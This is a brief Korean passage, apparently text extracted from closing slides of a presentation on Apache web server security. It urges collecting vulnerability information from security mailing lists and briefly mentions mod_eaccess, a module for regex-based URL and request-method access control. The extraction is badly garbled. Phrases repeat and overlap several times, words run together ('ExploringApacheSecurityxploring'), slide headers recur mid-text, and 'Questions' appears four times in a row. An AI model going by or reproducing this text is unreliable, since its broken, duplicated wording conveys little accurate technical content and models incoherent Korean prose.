보안관련 메일링리스트와 사이트를 통해 웹 서버 와 사용하는웹 프로그램과 관련한 보안 취약점 정보를 수집한다.안전한 웹 서버의 운영을 원한다면 본인 스스로가 보안에 대한중요성을 인지하고 지속적인 관심을 가지고 더욱 더 안전한중요성을 인지하고 지속적인 관심을 가지고 더욱 더 안전한운영방법을 위한 노력이 필요하다.중요성을 인지하고 지속적인 관심을 가지고 더욱 더 안전한운영방법을 위한 노력이 필요하다.

Page 45: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

어떠세요? 이제 여러분들의 웹 서버를어떠세요? 이제 여러분들의 웹 서버를어떠세요? 이제 여러분들의 웹 서버를안전하게 만들 준비가 되셨나요어떠세요? 이제 여러분들의 웹 서버를안전하게 만들 준비가 되셨나요

Page 46: ExploringApacheSecurityxploring Apache Security · -ExtendedAccessControl(Extended Access Control(modeaccessmod_eaccess) 정규표현식을이용하여URL, HTTP 요청방법,

QuestionsQuestionsQuestionsQuestions